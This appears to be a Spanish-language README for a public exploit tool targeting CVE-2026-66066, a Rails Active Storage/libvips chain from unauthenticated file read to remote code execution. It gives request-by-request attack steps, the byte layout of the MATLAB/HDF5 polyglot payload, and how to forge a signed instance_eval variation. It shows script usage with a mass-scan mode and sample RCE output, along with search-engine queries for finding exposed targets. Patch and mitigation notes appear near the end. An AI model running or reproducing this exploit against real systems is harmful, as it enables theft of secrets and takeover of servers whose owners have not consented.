
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 es una cadena de severidad crítica (CVSS 9.5) de lectura arbitraria de archivos previa a la autenticación hasta ejecución remota de código en Ruby on Rails Active Storage, que afecta a Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 y 8.1.0–8.1.3 en su configuración predeterminada.
La vulnerabilidad explota una confusión de analizadores en cuatro capas entre Rails, libvips, libmatio y HDF5. Un archivo manipulado con una cabecera MATLAB 5.0 (que satisface el detector de libvips) y un contenedor HDF5 v7.3 (despachado por libmatio) contiene un dataset externo que apunta a una ruta de archivo arbitraria en el servidor. Cuando ActiveStorage procesa este archivo como una variante de imagen, los bytes del archivo objetivo se convierten en píxeles de imagen, lo que permite la lectura arbitraria de archivos sin autenticación.
Una vez que se recupera SECRET_KEY_BASE de /proc/self/environ o de archivos de credenciales, el atacante deriva la clave de verificación de Active Storage y falsifica un JSON de variante firmado que contiene instance_eval, logrando ejecución remota de código.
Instalaciones afectadas: 500K+ aplicaciones Rails (Rails 7+ por defecto
variant_processor = :vips) Descubierto por: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, julio de 2026 Parche: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 de julio de 2026)
| Rama | Vulnerable | Corregida |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x solo se ve afectado si variant_processor = :vips se habilitó manualmente.
Descubierto por: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC de referencia: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
El exploit encadena dos discrepancias independientes de tipo de contenido entre cuatro componentes:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
"Ningún escritor legítimo emite tanto MATLAB 5.0 en el byte 0 como 0x0200 en el byte 124."
Blob#variable? confía en la columna de la base de datos completada en el momento de la subida directa. No se examina ningún byte.Vips::Image.new_from_file itera sobre los cargadores; el detector de matload solo comprueba 10 bytes.0x0200 selecciona el backend HDF5 independientemente del texto descriptivo.H5Pset_external permite que los bytes brutos de un dataset residan en un archivo externo arbitrario. libmatio llama a H5Dread sin comprobar H5Pget_external_count.Transformers::Vips hereda validate_transformation de la clase base, que solo bloquea combine_options. Nombres de método arbitrarios pasan a .1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
La explotación exitosa produce ejecución remota de código como el usuario del proceso Rails:
SECRET_KEY_BASE → falsificar cookies firmadas, sesiones y tokens de ActiveStoragecredentials.yml.enc → contraseñas de base de datos, claves de almacenamiento en la nube, tokens de API de tercerosNo se necesita ninguna cuenta en la aplicación: el endpoint de subida directa acepta solicitudes no autenticadas por defecto.
La corrección bloquea los cargadores no confiables de libvips:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
Esto evita que matload, svgload, fitsload, niiload, radload y openslideload procesen entradas no confiables. Actualice a Rails 7.2.3.2, 8.0.5.1 o 8.1.3.1. Requiere libvips >= 8.13 y ruby-vips >= 2.2.1.
Después del parche: rote todos los secretos legibles por el proceso de Rails — SECRET_KEY_BASE, RAILS_MASTER_KEY, credenciales de base de datos y claves de almacenamiento en la nube.
SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
No lo utilice contra sistemas sin el permiso explícito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso.
Descubierto por Ethiack Research Team + RyotaK + bl0rph. No afiliado a Ruby on Rails.
| Bytes | Propósito | Valor |
|---|
| 0–9 | Detector de libvips | MATLAB 5.0 |
| 10–123 | Relleno | Espacios |
| 124–125 | Despachador de libmatio | 0x0200 (HDF5 v7.3) |
| 126–127 | Marcador de endianness | 0x4d49 (IM) |
| 128–511 | Userblock de HDF5 | Relleno |
| 512+ | Superbloque de HDF5 | Contenedor con dataset externo |
Vips::Image.public_send| Archivo | Propósito |
|---|
activestorage/app/models/active_storage/blob.rb | variable? confía en la columna content_type |
activestorage/app/models/active_storage/blob/representable.rb | La ruta de representación resuelve blob y variación de forma independiente |
activestorage/app/models/active_storage/variation.rb | decode verifica la clave de variación; sin referencias cruzadas al blob |
image_processing/lib/image_processing/transformers/vips.rb | Sin lista blanca de métodos — hereda el comportamiento de la clase base |
libvips/foreign/matload.c | vips__mat_ismat detecta solo los primeros 10 bytes |
| Recurso | Enlace |
|---|
| Aviso de seguridad de Rails | GHSA-xr9x-r78c-5hrm |
| PoC de referencia (0xsha) | KindaRails2Shell |
| Investigación de Ethiack | kindarails2shell |
| Rails Forensics | rails-forensics-CVE-2026-66066 |
| Módulo de Metasploit | rapid7/metasploit-framework#21733 |
| CWE-94 | Inyección de código |